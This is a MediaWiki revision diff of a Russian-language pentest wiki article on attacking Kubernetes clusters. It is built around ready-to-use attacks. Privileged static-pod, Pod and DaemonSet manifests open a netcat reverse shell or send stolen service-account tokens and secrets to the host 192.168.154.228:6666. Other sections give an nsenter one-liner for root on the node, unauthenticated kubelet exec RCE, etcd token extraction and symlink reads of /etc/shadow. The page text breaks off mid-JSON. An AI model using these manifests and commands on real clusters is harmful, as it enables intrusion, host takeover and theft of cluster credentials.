Kubernetes — различия между версиями
Drakylar (обсуждение | вклад) м (→curl) |
Drakylar (обсуждение | вклад) м |
||
(не показаны 62 промежуточные версии этого же участника) | |||
Строка 43: | Строка 43: | ||
# export CACERT=${SERVICEACCOUNT}/ca.crt | # export CACERT=${SERVICEACCOUNT}/ca.crt | ||
− | curl -k --header "Authorization: Bearer ${TOKEN}" | + | curl -k --header "Authorization: Bearer ${TOKEN}" https://${APISERVER}/path |
</syntaxhighlight> | </syntaxhighlight> | ||
Строка 93: | Строка 93: | ||
kubectl config set-context --current --namespace=ggckad-s2 | kubectl config set-context --current --namespace=ggckad-s2 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
+ | |||
+ | = DNS = | ||
+ | |||
+ | DNS при тестировании kubernetes больше может потребоваться для разведки. | ||
+ | |||
+ | Например, основные субдомены kubernetes выглядят как: | ||
+ | <syntaxhighlight lang="bash" enclose="div" style="overflow-x:auto" > | ||
+ | k8s.* | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Для разведки DNS стоит обратиться к соответствующей статье тк задача не будет привязана к Kubernetes. | ||
+ | |||
+ | |||
+ | = Node = | ||
+ | |||
+ | Физическая или виртуальная машина, на которой выполняются Pod(контейнеры). | ||
+ | |||
+ | == Эксплуатация == | ||
+ | |||
+ | === Static pod privelege escalation === | ||
+ | |||
+ | |||
+ | Static pod - pod, который можно создать только на том же Node, где вы сейчас находитесь. | ||
+ | |||
+ | Кратко: в случае возможности записи по пути /etc/kubernetes/manifests, вы можете создать привилегированный контейнер и получить рута на Node. | ||
+ | |||
+ | |||
+ | 1. Создаете файл yaml | ||
+ | |||
+ | 2. Помещаете его в /etc/kubernetes/manifests/ | ||
+ | |||
+ | 3. Ждете перезапуска (или мб автоматом запустит) | ||
+ | |||
+ | 4. Заходите в Pod | ||
+ | |||
+ | 5. Pod escape - вы рут на Node. | ||
+ | |||
+ | |||
+ | Из бонусов: ваш Pod будет виден в kubectl в соответствующем namespace, можно проводить социальную инженерию. | ||
+ | |||
+ | |||
+ | Пример конфигурации | ||
+ | <syntaxhighlight lang="yaml" enclose="div" style="overflow-x:auto" > | ||
+ | apiVersion: v1 | ||
+ | kind: Pod | ||
+ | metadata: | ||
+ | name: bad-priv2 | ||
+ | namespace: kube-system | ||
+ | spec: | ||
+ | containers: | ||
+ | - name: bad | ||
+ | hostPID: true | ||
+ | image: gcr.io/shmoocon-talk-hacking/brick | ||
+ | stdin: true | ||
+ | tty: true | ||
+ | imagePullPolicy: IfNotPresent | ||
+ | volumeMounts: | ||
+ | - mountPath: /chroot | ||
+ | name: host | ||
+ | command: ["/bin/sh"] | ||
+ | args: ["-c", 'nc -e /bin/bash 192.168.154.228 6666; sleep 100000'] | ||
+ | securityContext: | ||
+ | privileged: true | ||
+ | volumes: | ||
+ | - name: host | ||
+ | hostPath: | ||
+ | path: / | ||
+ | type: Directory | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Этот контейнер создаст backconnect соединение на 192.168.154.228:6666. | ||
+ | |||
+ | Важно! Два варианта событий может быть: | ||
+ | |||
+ | 1. Нет netcat. Мб придется установить через apt-get или другую команду указать | ||
+ | |||
+ | 2. Не нужен бекконнект - просто стереть command и args. | ||
= Pod = | = Pod = | ||
+ | |||
+ | Группа из одного или нескольких приложений. | ||
== Локальные файлы == | == Локальные файлы == | ||
Строка 119: | Строка 198: | ||
(env | set) | grep -i "kuber|kube" | (env | set) | grep -i "kuber|kube" | ||
</syntaxhighlight> | </syntaxhighlight> | ||
+ | |||
+ | = Etcd = | ||
+ | |||
+ | Etcd - key-value база данных. Является одним из самых критичных ресурсов в котором хранятся например токены. | ||
+ | |||
+ | |||
+ | Порты: 2379/tcp, 6666/tcp | ||
+ | |||
+ | |||
+ | == Эксплуатация == | ||
+ | |||
+ | === Анонимный доступ === | ||
+ | |||
+ | У etcd может быть включен анонимный доступ, лучше проверить используя различные утилиты | ||
+ | |||
+ | ==== etcdctl ==== | ||
+ | |||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== curl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | curl http://<MASTER-IP>:2379/v2/keys | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | === Дамп базы === | ||
+ | |||
+ | ==== Доступ к Node ==== | ||
+ | |||
+ | Если у нас есть исполнение команд на той же ноде, где крутится контейнер с etcd, то для поиска базы данных достаточно ввести следующую команду и перейти к пункту парсинга базы etcd. | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | Либо воспользоваться утилитой etcdctl (лучше перейти в контейнер с etcd и там запустить команду): | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | docker ps | ||
+ | docker exec -it container_name /bin/bash | ||
+ | etcdctl get / --prefix --keys-only | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | === Парсинг базы === | ||
+ | |||
+ | Если у вас есть файл базы данных, то вы можете спарсить данные из него следующей командой: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | strings /var/lib/etcd/member/snap/db | less | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== Извлечение токенов и servicename ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | ||
+ | |||
+ | db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | = NodePort = | ||
+ | |||
+ | Используется для балансировки запросов. | ||
+ | |||
+ | |||
+ | Порты: 30000-32767/tcp (по-умолчанию, можно менять). | ||
+ | |||
+ | == Поиск == | ||
+ | |||
+ | Тк по-умолчанию запускается на определенном диапазоне tcp-портов, можно просканнировать их и найти ранее не исследованные сервисы. | ||
+ | |||
+ | === nmap === | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | nmap -sV -v -p 30000-32767 <IP> | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | = API-server = | ||
+ | |||
+ | Веб-сервер, предоставляющий API для управления kubernetes. | ||
+ | |||
+ | |||
+ | Порты: 443/tcp. 6443/tcp, 8080/tcp, 8443/tcp | ||
+ | |||
+ | По следующим URL можно определить, является ли веб-сервер Kubernetes API: | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | /swaggerapi | ||
+ | /healthz | ||
+ | /api/v1 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | == Список плагинов == | ||
+ | |||
+ | Как правило, доступ к API не анонимный. | ||
+ | Но, в любом случае, попробуйте перейти сайт API мастера и если у вас есть права, то вы можете увидеть список Endpoint'ов. | ||
+ | |||
+ | Среди них могут оказаться плагины. В случае обнаружения плагинов перейдите на соответствующую главу данной вики-заметки. | ||
+ | |||
+ | = Kubelet API= | ||
+ | |||
+ | Агент, работающий на каждом узле в кластере. Следит за контейнерами на Pod'е. | ||
+ | |||
+ | |||
+ | Порты: 10250/tcp(https API - полный доступ к ноде), 10255/tcp(http-api read-only, без аутентификации) | ||
+ | |||
+ | == Сбор информации == | ||
+ | |||
+ | Информация о Pod'ах и их контейнерах: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | http://<external-IP>:10255/pods | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | == Эксплуатация == | ||
+ | |||
+ | === Отсутствие авторизации 10250/tcp === | ||
+ | |||
+ | Если на сервере отсутствует авторизация, то можно проэксплуатировать RCE. | ||
+ | |||
+ | |||
+ | Чтобы проверить: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | curl -k https://<IP address>:10250/metrics | ||
+ | curl -k https://<IP address>:10250/pods | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | Если не вернуло "Unauthorized" - можно запустить код (подставить namespace, pod, container): | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | curl -Gks https://worker:10250/exec/{namespace}/{pod}/{container} -d 'input=1' -d 'output=1' -d 'tty=1' -d 'command=ls' -d 'command=/ | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Также можно воспользоваться скриптом https://github.com/serain/kubelet-anon-rce | ||
+ | |||
+ | = Kube-proxy = | ||
+ | |||
+ | Сетевая прокся, работающая на каждом узле в кластере. Конфигурирует правила сети на узлах. | ||
+ | |||
+ | |||
+ | Порты: 10256/tcp(healthcheck). | ||
+ | |||
Строка 129: | Строка 349: | ||
Как правило, неправильная настройка доступа может привести к проблемам безопасности. | Как правило, неправильная настройка доступа может привести к проблемам безопасности. | ||
+ | == Список привилегий == | ||
Для получения списка доступных ресурсов у сервисного аккаунта, требуется выполнить следующую команду: | Для получения списка доступных ресурсов у сервисного аккаунта, требуется выполнить следующую команду: | ||
Строка 142: | Строка 363: | ||
</syntaxhighlight> | </syntaxhighlight> | ||
− | Там же можно посмотреть информацию о роли. | + | Там же можно посмотреть информацию о роли RBAC. Или сделать отдельные запросы: |
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Другие команды для получения информации о текущей роли: | ||
+ | |||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | # Текущие привилегии | ||
+ | kubectl auth can-i --list | ||
+ | ## use `--as=system:serviceaccount:<namespace>:<sa_name>` to impersonate a service account | ||
+ | |||
+ | # Список ролей кластера | ||
+ | kubectl get clusterroles | ||
+ | kubectl describe clusterroles | ||
+ | |||
+ | # Список Cluster Roles Bindings | ||
+ | kubectl get clusterrolebindings | ||
+ | kubectl describe clusterrolebindings | ||
+ | |||
+ | # Список ролей | ||
+ | kubectl get roles | ||
+ | kubectl describe roles | ||
+ | |||
+ | # Список Role Buildings | ||
+ | kubectl get rolebindings | ||
+ | kubectl describe rolebindings | ||
+ | </syntaxhighlight> | ||
+ | |||
Далее проблемы будут разделены на ресурсы, к которым был предоставлен доступ | Далее проблемы будут разделены на ресурсы, к которым был предоставлен доступ | ||
− | == secrets == | + | == Привилегии - services == |
+ | |||
+ | Services нужны для предоставления служб через определенный порт и ip (по-факту load-balancer). | ||
+ | |||
+ | === Доступ list === | ||
+ | |||
+ | Получить список сервисов. | ||
+ | Полезно тем, что позволяет получить новые сервисы, которые могут быть целью дальнейших атак. | ||
+ | |||
+ | ==== kubectl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl get services | ||
+ | kubectl get svc | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | == Привилегии - api-resources == | ||
+ | |||
+ | Описание Kubernetes-API (куда мы можем стучаться) | ||
+ | |||
+ | === Доступ get === | ||
+ | |||
+ | Позволяет получить список ресурсов, на которые мы можем применять действие list. | ||
+ | |||
+ | ==== kubectl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl api-resources --namespaced=true | ||
+ | kubectl api-resources --namespaced=false | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== curl ==== | ||
+ | |||
+ | Делает очень много запросов, лучше использовать kubectl. | ||
+ | |||
+ | |||
+ | == Привилегии - roles == | ||
+ | |||
+ | Существующие роли и действия с ними. | ||
+ | |||
+ | === Доступ list === | ||
+ | |||
+ | Позволяет вывести все роли. | ||
+ | |||
+ | ==== kubectl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl get roles | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== curl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | curl -s "$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500" --header "Authorization: Bearer $TOKEN" -k | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | == Привилегии - ClusterRoles == | ||
+ | |||
+ | Существующие роли кластеров и действия с ними. | ||
+ | |||
+ | === Доступ list === | ||
+ | |||
+ | Позволяет вывести все роли кластеров. | ||
+ | |||
+ | ==== kubectl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl get clusterroles | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== curl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | curl -s "$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500" --header "Authorization: Bearer $TOKEN" -k | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | == Привилегии - Namespaces == | ||
+ | |||
+ | Работа с пространствами имен. | ||
+ | |||
+ | === Доступ list === | ||
+ | |||
+ | Позволяет вывести все пространства имен kubernetes. | ||
+ | |||
+ | ==== kubectl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl get namespaces | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== curl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | curl -s "$APISERVER/api/v1/namespaces/" --header "Authorization: Bearer $TOKEN" -k | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | == Привилегии - serviceaccounts == | ||
+ | |||
+ | Позволяет работать с сервисными аккаунтами. | ||
+ | |||
+ | === Доступ list === | ||
+ | |||
+ | Получить список аккаунтов, которые, например, можно будет использовать при бруте. | ||
+ | |||
+ | ==== kubectl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl get serviceaccounts | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | ==== curl ==== | ||
+ | |||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | curl -s $APISERVER/api/v1/namespaces/default/serviceaccounts/ --header "Authorization: Bearer $TOKEN" -k | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | == Привилегии - Nodes == | ||
+ | |||
+ | Node - машина в вашем кластере на котором будут Pod'ы. | ||
+ | |||
+ | === Доступ list === | ||
+ | |||
+ | Позволяет получить список Nodes, которые в дальнейшем могут быть целью атаки. | ||
+ | |||
+ | ==== kubectl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl get nodes | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== curl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | curl -s $APISERVER/api/v1/nodes/ --header "Authorization: Bearer $TOKEN" -k | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | == Привилегии - secrets == | ||
Относится к etcd - хранилище секретов. | Относится к etcd - хранилище секретов. | ||
Строка 161: | Строка 552: | ||
− | ==== | + | ==== curl ==== |
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
− | curl -s $APISERVER/api/v1/secrets/ --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt | + | curl -s $APISERVER/api/v1/secrets/ --header "Authorization: Bearer $TOKEN" -k |
+ | |||
+ | curl -s $APISERVER/api/v1/namespaces/kube-system/secrets/ --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Строка 194: | Строка 587: | ||
</syntaxhighlight> | </syntaxhighlight> | ||
− | == pods == | + | |
+ | == Привилегии - logs == | ||
+ | |||
+ | Просмотр логов от Pod'ов. | ||
+ | |||
+ | === Доступ get === | ||
+ | |||
+ | Позволяет просмотреть логи Pod'а. | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl logs pod_name | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | В определенном случае позволяет читать файлы хостовой системы. | ||
+ | |||
+ | Условия: | ||
+ | |||
+ | 1. Доступ на запись внутри контейнера по пути /var/logs/pods/namespace_pod_uid/container/ | ||
+ | |||
+ | 2. Права get на чтение логов данного контейнера | ||
+ | |||
+ | |||
+ | Эксплуатация: | ||
+ | |||
+ | |||
+ | 1. Создать символьную ссылку /var/logs/pods/namespace_pod_uid/container/0.log, которая будет указывать на /etc/shadow (или другой файл хостовой системы). | ||
+ | |||
+ | 2. Выполнить команды: | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl logs pod_name | ||
+ | kubectl logs pod_name --tail=2 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Таким образом вы сможете читать файлы хостовой системы. | ||
+ | |||
+ | |||
+ | Второй вариант эксплуатации проще: если у атакующего есть на хостовой машине права чтения nodes/log, то он может создать следующую символьную ссылку: | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | /host-mounted/var/log/sym -> / | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | И делать запросы на | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | https://<gateway>:10250/logs/sym/ | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Там будет доступен список файлов системы (экспериментируйте с symlink). | ||
+ | |||
+ | Подробнее почитать тут: https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts | ||
+ | |||
+ | Аналогичное достигается в обходе allowedHostPaths. Можно не вдаваться, ссылка желающим почитать https://jackleadford.github.io/containers/2020/03/06/pvpost.html | ||
+ | |||
+ | == Привилегии - pods == | ||
+ | |||
+ | |||
+ | === Доступ list === | ||
+ | |||
+ | Получить список Pod'ов. Полезно для дальнейшего продвижения по сети компании. | ||
+ | |||
+ | ==== kubectl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl get pods | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== curl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | curl -v -s $APISERVER/api/v1/namespaces/<namespace>/pods/ --header "Authorization: Bearer $TOKEN" -k | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | === Доступ port-forward === | ||
+ | |||
+ | Не знал, куда добавлять, поэтому будет тут. | ||
+ | |||
+ | Суть в том, что можно прокинуть порт с удаленного Pod'а на локальную машину. | ||
+ | |||
+ | Полезно например если хотите достучаться до уязвимого сервиса. | ||
+ | |||
+ | ==== kubectl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl port-forward pod/mypod 5000:5000 | ||
+ | </syntaxhighlight> | ||
Строка 200: | Строка 680: | ||
Позволяет создавать новые Pod'ы. | Позволяет создавать новые Pod'ы. | ||
+ | |||
+ | Три варианта эксплуатации: | ||
+ | |||
+ | 1. Кража токена сервисного аккаунта: в случае, если у созданного пода будет прикреплен сервисный аккаунт с другими привилегиями, то мы можем забрать токен из него и работать от имени сервисного аккаунта. | ||
+ | |||
+ | 2. Доступ на хостовую систему, на которой запущен конейнер (побег из конейнера см. [[docker_escape]]) | ||
+ | |||
+ | 3. Запуск майнера | ||
+ | |||
+ | |||
+ | ==== kubectl ==== | ||
+ | |||
+ | Для этого требуется создать yaml-файл со следующим содержимым: | ||
+ | |||
+ | <syntaxhighlight lang="yaml" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | apiVersion: v1 | ||
+ | kind: Pod | ||
+ | metadata: | ||
+ | name: alpine | ||
+ | namespace: kube-system | ||
+ | spec: | ||
+ | containers: | ||
+ | - name: alpine | ||
+ | image: alpine | ||
+ | command: ["/bin/sh"] | ||
+ | args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000'] | ||
+ | volumeMounts: | ||
+ | - mountPath: /host | ||
+ | name: host-volume | ||
+ | restartPolicy: Never | ||
+ | hostIPC: true | ||
+ | hostNetwork: true | ||
+ | hostPID: true | ||
+ | serviceAccountName: bootstrap-signer | ||
+ | automountServiceAccountToken: true | ||
+ | volumes: | ||
+ | - name: host-volume | ||
+ | hostPath: | ||
+ | path: / | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | И выполнить его командой: | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl apply -f malicious-pod.yaml | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Что делает созданный Pod: | ||
+ | |||
+ | 1. подключится к 192.168.154.228:6666 и выведет информацию о сервисном аккаунте который будет закреплен за данным контейнером (кража токена, который можно использовать на другом PC) | ||
+ | |||
+ | 2. hostPID - работа с хостовыми PID (см. главу [[Docker_escape]]) | ||
+ | |||
+ | 3. hostIPC - работа с хостовыми IPC (см. главу [[Docker_escape]]) | ||
+ | |||
+ | 4. hostNetwork - работа с хостовыми сетями (см. главу [[Docker_escape]]) | ||
+ | |||
+ | 5. volumeMounts - хостовая файловая система, доступная по /host (см. главу [[Docker_escape]]) | ||
+ | |||
+ | Если вам не нужна кража токена, то однострочник для запуска: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== curl ==== | ||
+ | |||
+ | Для запросов через curl, требуется создать json-файл. | ||
+ | |||
+ | <syntaxhighlight lang="json" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | { | ||
+ | "apiVersion": "v1", | ||
+ | "kind": "Pod", | ||
+ | "metadata": { | ||
+ | "name": "alpine" | ||
+ | }, | ||
+ | "spec": { | ||
+ | "restartPolicy": true, | ||
+ | "hostIPC": true, | ||
+ | "hostNetwork": true, | ||
+ | "hostPID": true, | ||
+ | "volumes": [ | ||
+ | { | ||
+ | "name": "host-volume", | ||
+ | "hostPath": { | ||
+ | "path": "/" | ||
+ | } | ||
+ | } | ||
+ | ], | ||
+ | "containers": [ | ||
+ | { | ||
+ | "name": "alpine", | ||
+ | "image": "alpine", | ||
+ | "commands": ["/bin/sh"], | ||
+ | "args": ["-c", "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"], | ||
+ | "serviceAccountName" : "bootstrap-signer", | ||
+ | "automountServiceAccountToken": true, | ||
+ | "hostNetwork": true, | ||
+ | "imagePullPolicy": "IfNotPresent", | ||
+ | "securityContext": { | ||
+ | "allowPrivilegeEscalation": true, | ||
+ | "privileged": true, | ||
+ | "runAsUser": 0 | ||
+ | }, | ||
+ | "volumesMount": [ | ||
+ | { | ||
+ | "mountPath": "/host", | ||
+ | "name": "host-volume" | ||
+ | } | ||
+ | ] | ||
+ | } | ||
+ | ] | ||
+ | } | ||
+ | } | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | И выполнить запрос: | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | curl -v -s $APISERVER/api/v1/namespaces/default/pods -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Но! Если вам вдруг требуется еще и сканировать, то лучше использовать созданный контейнер для этого. Например, вписав в конфиг команду на реверс-шелл. | ||
+ | |||
+ | |||
+ | === Доступ exec === | ||
+ | |||
+ | Если у вас есть привилегия exec на один или несколько Pod'ов, то вы можете зайти в них и выполнять произвольные команды. | ||
+ | |||
+ | ==== kubectl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl exec --stdin --tty shell-demo -n pod_namespace -- /bin/bash | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | == Привилегии - DaemonSet == | ||
+ | |||
+ | DaemonSet - создание копии Pod'а. | ||
+ | |||
+ | === Доступ - list === | ||
+ | |||
+ | Позволяет получить список DaemonSets, которые в дальнейшем могут быть выбраны целью для атаки. | ||
+ | |||
+ | |||
+ | ==== kubectl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl get daemonsets | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== curl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/daemonsets?fieldManager=kubectl-client-side-apply --header "Authorization: Bearer $TOKEN" -k | ||
+ | curl -v -s $APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets --header "Authorization: Bearer $TOKEN" -k | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | === Доступ - create === | ||
+ | |||
+ | Аналогично "Pods - create", мы можем создать DaemonSet, у которого при старте будет выполняться наша команда. | ||
+ | |||
+ | В примере выполняется команда по краже токена, который отправляется на 192.168.154.228:6666. | ||
+ | |||
+ | При желании, конфиг можно отредактировать, добавив: | ||
+ | |||
+ | 1. Backconnect - заменить команду netcat на нужную и оказаться внутри контейнера. | ||
+ | |||
+ | 2. Docker escape - разные привилегии позволяющие сбежать из контейнера на хостовую систему | ||
+ | |||
+ | |||
+ | Все это можно найти в главе выше "Pods - create". | ||
+ | |||
+ | |||
+ | ==== kubectl ==== | ||
+ | |||
+ | <syntaxhighlight lang="yaml" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | apiVersion: apps/v1 | ||
+ | kind: DaemonSet | ||
+ | metadata: | ||
+ | name: alpine | ||
+ | namespace: kube-system | ||
+ | spec: | ||
+ | selector: | ||
+ | matchLabels: | ||
+ | name: alpine | ||
+ | template: | ||
+ | metadata: | ||
+ | labels: | ||
+ | name: alpine | ||
+ | spec: | ||
+ | serviceAccountName: bootstrap-signer | ||
+ | automountServiceAccountToken: true | ||
+ | hostNetwork: true | ||
+ | containers: | ||
+ | - name: alpine | ||
+ | image: alpine | ||
+ | command: ["/bin/sh"] | ||
+ | args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000'] | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl apply -f malicious-pod.yaml | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== curl ==== | ||
+ | |||
+ | <syntaxhighlight lang="json" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | { | ||
+ | "apiVersion": "apps/v1", | ||
+ | "kind": "DaemonSet", | ||
+ | "metadata": { | ||
+ | "name": "alpine", | ||
+ | "namespace": "kube-system" | ||
+ | }, | ||
+ | "spec": { | ||
+ | "selector": { | ||
+ | "matchLabels": { | ||
+ | "name": "alpine" | ||
+ | } | ||
+ | }, | ||
+ | "template": { | ||
+ | "metadata": { | ||
+ | "labels": { | ||
+ | "name": "alpine" | ||
+ | } | ||
+ | }, | ||
+ | "spec": { | ||
+ | "serviceAccountName": "bootstrap-signer", | ||
+ | "automountServiceAccountToken": true, | ||
+ | "hostNetwork": true, | ||
+ | "containers": [ | ||
+ | { | ||
+ | "name": "alpine", | ||
+ | "image": "alpine", | ||
+ | "command": [ | ||
+ | "/bin/sh" | ||
+ | ], | ||
+ | "args": [ | ||
+ | "-c", | ||
